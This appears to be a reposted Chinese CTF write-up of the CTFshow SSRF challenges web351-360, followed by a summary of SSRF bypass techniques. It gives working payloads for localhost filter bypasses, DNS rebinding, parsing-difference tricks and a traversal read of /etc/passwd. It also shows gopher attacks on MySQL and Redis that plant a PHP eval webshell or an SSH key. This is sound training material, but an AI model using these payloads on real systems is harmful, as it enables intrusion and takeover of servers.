CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结相关的知识,希望对你有一定的参考价值。
SSRF基础
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
相关函数和类
- file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
- readfile():输出一个文件的内容
- fsockopen():打开一个网络连接或者一个Unix 套接字连接
- curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
- fopen():打开一个文件文件或者 URL
- php原生类SoapClient在触发反序列化时可导致SSRF
相关协议
- file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
- dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
- http/s协议:探测内网主机存活
利用方式
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
web351-无过滤
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
# curl_init — 初始化 cURL 会话
# curl_setopt — 设置一个cURL传输选项
# curl_exec — 执行 cURL 会话
# curl_close — 关闭 cURL 会话
直接访问 flag.php 提示:非本地用户禁止访问
payload:
post: url=http://127.0.0.1/flag.php
或者使用 file 伪协议去读取文件
post: url=file:///var/www/html/index.php 查看源码
web352-无过滤
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
代码中虽然是有过滤但是去没有用。。。
url=http://localhost/flag.php
url=http://127.0.0.1/flag.php
都可以拿到 flag
web353-简单绕过
if(!preg_match('/localhost|127\\.0\\.|\\。/i', $url)){
}
payload
ip地址进制转换
127.0.0.1
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php
其他方法
缺省模式:127.0.0.1写成127.1
CIDR:url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
web354-过滤01
if(!preg_match('/localhost|1|0|。/i', $url))
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc
这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?php
header("Location:http://127.0.0.1/flag.php");
重定向到127
方法三:DNS-Rebinding
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
url=http://r.xxxzc8.ceye.io/flag.php
查看 profile
如果 ceye 域名中有 1,这题就用不了这种方法了
web355-五位长度host
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
host 长度小于等于 5 位
先来了解下 parse_url 函数
解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
数组中可能的键有以下几种:
scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后
# 例:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
# 输出
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
payload
url=http://127.1/flag.php
127.1整好五位
web356-三位长度host
if((strlen($host)<=3)){
payload
url=http://0/flag.php
# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web357-302跳转/DNSrebinding
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
先来看下 gethostbyname 函数
gethostbyname — 返回主机名对应的 IPv4地址
filter_var()
# php filter函数
filter_var() 获取一个变量,并进行过滤
filter_var_array() 获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法
DNS rebinding(DNS重新绑定攻击)
攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略
回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP
payload
url=http://r.自己的域名.ceye.io/flag.php
# 注意前边要加上r.
# 多次尝试
web358-正则匹配
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\\/\\/ctf\\..*show$/i',$url)){
echo file_get_contents($url);
}
url 字符串要以 http://ctf
开头,show
结尾
payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show
攻击内网其他服务
web359-打mysql
题目提示:打无密码的mysql
一个登录界面,点击登录,抓包发现可疑参数 returl 存在 SSRF
使用 gopher 协议去打 mysql
用 gopherus 工具生成 payload
python2 .\\gopherus.py --exploit mysql
username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次)
访问2.php,执行命令
web360-打redis
提示:打redis
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
简单说,漏洞的产生条件有以下两点:
- redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务
懒人方法就是接着用工具生成 payload
python2 .\\gopherus.py --exploit redis
需要把 _ 后边的字符串再进行一次 url 编码
默认会生成 shell.php 文件
补充
其他绕过127的方法
-
如果目标代码限制访问的域名只能为
http://www.xxx.com
,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/
-
http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有
http://nip.io,http://sslip.io
-
短网址目前基本都需要登录使用,如缩我,https://4m.cn/
-
各种指向127.0.0.1的地址
http://localhost/ # localhost就是代指127.0.0.1 http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1 http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行 http://[::]:80/ # 在liunx下可用,window测试了下不行 http://127。0。0。1/ # 用中文句号绕过 http://①②⑦.⓪.⓪.① http://127.1/ http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
利用不存在的协议头绕过指定的协议头
file_get_contents()
函数的一个特性,即当PHP的file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
httpsssss://
此时file_get_contents()
函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
ssrf.php?url=httpsssss://../../../../../../etc/passwd
URL解析差异
1.readfile和parse_user函数解析差异绕过指定端口
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 这里限制了我们传过去的url只能是80端口的
readfile($url);
} else {
die('Hacker!');
}
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过
ssrf.php?url=127.0.0.1:11211:80/flag.txt
可以成功读取11211端口flag.txt文件,原理如下图
两个函数解析host也存在差异
利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制
2.利用curl和parse_url的解析差异绕过指定host
Gopher协议
前边的题 payload 都是直接用的脚本生成的,很脚本小子,但是却没学到啥
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口
Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面
Gopher协议格式
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
- 如果发起POST请求,回车换行需要使用
%0d%0a
来代替%0a
,如果多个参数,参数之间的&也需要进行URL编码
利用Gopher协议发送HTTP请求
步骤
在gopher协议中发送HTTP的数据,需要以下三步:
1.抓取或构造HTTP数据包
2.URL编码、将回车换行符%0a替换为%0d%0a
3.发送符合gopher协议格式的请求
注意这几个问题:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
攻击内网FastCGI
https://www.freebuf.com/articles/web/260806.html
这篇文章写的超级详细,上边的很多内容也是参考了这篇文章
参考链接
https://www.freebuf.com/articles/web/260806.html
https://www.freebuf.com/articles/web/263512.html
https://blog.csdn.net/solitudi/article/details/112510010
以上是关于CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结的主要内容,如果未能解决你的问题,请参考以下文章